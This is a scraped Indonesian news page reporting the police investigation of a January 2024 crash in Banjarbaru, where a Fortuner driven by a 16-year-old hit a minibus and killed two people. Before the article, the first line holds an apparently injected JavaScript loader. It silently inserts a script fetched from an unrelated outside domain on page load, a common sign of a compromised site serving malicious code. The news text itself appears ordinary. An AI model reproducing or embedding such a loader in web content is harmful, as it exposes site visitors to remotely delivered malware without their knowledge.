(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Proses penyelidikan dan penyidikan dalam peristiwa kecelakaan lalu lintas (Laka Lantas) di ruas Jalan Ahmad Yani Kilometer 29 Kelurahan Guntung Payung Kecamatan Landasan Ulin, Kamis (18/1/2024) dini hari, masih berlangsung.
Kasatlantas Polres Banjarbaru, AKP Edwin Widya D Putra melalui Kasi Humas Polres Banjarbaru AKP Syahruji, mengatakan hingga Jumat (19/1/2024) siang, sudah ada beberapa saksi yang telah dimintai keterangan atas peristiwa laka maut yang merenggut dua nyawa tersebut.
“Terkait proses lanjut atau perkembangan penyelidikan dari kasus laka lantas kemarin sudah ada beberapa saksi yang telah dimintai keterangan oleh pihak penyidik Unit Laka Polres Banjarbaru,” ujar AKP Syahruji, Jumat (19/1/2024) siang.
Baca juga: Gegara Cipratan Genangan Air di Jalan, Lelaki 54 Tahun di Banjarmasin Tusuk Pemuda
Dalam laka lantas itu diketahui sebanyak 16 penumpang dan seorang sopir minibus Isuzu Elf bernomor polisi KT 7702 EG menjadi korban hantaman mobil Toyota Fortuner bernopol DA 12 IA yang dikemudikan oleh seorang anak perempuan berinisial AJ (16).
Dari belasan korban minibus yang membawa rombongan Badan Pemusyawaratan Desa (BPD) se Kecamatan Tapin Tengah itu, sopir dan satu penumpang minibus Isuzu Elf ditemukan meninggal dunia. Sementara lainnya mengalami luka-luka.
Sementara itu, AJ pengemudi Toyota Fortuner tersebut hanya mengalami luka ringan.
Baca juga: Curi Uang Toko Rp142 Juta di Martapura, Seorang Karyawan Dibekuk Polisi di Tala
Dalam proses pemeriksaan, AKP Syahruji mengatakan bahwa kepolisian salah satunya telah melakukan tes urine terhadap pengemudi AJ.
Hasilnya disebutkannya, pengemudi AJ negatif berada di bawah pengaruh minuman keras maupun obat-obatan terlarang.
“Termasuk terhadap pengemudi perempuan berinisial AJ sudah dilakukan tes urine dan hasilnya negatif, baik dari metamfetamin (sabu, red) maupun amfetamin,” ungkap dia.
Baca juga: Difasilitasi BRIN, Bappedalitbang Banjar Lakukan Penghitungan Jabatan Fungsional Peneliti
Pihak kepolisian saat ini tengah merampungkan semua tahapan penyidikan dan penyelidikan hingga selesai untuk bisa menatapkan status AJ yang sebagai anak yang berhadapan dengan hukum.
“Untuk kemungkinan jadi tersangka, berdasarkan informasi yang disampaikan oleh penyidik setelah semua tahapan penyidikan dan penyelidikan selesai, dan mendapatkan serta mengumpulkan alat bukti dan bahan keterangan akan dilakukan gelar perkara,” jelasnya .
“Lalu setelah atau pada saat gelar perkara tersebut bisa jadi akan ditentukan statusnya terhadap AJ,” kata dia.
Baca juga: Masuk Zona Hijau Penyelenggaraan Pelayanan Publik, Pemkab HSU Terima Penghargaan Ombudsman RI Kalsel
Lebih jauh, ia menyebutkan hingga saat ini AJ masih mendapatkan pemeriksaan penyidik Unit Laka di Mapolres Banjarbaru. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
This website uses cookies.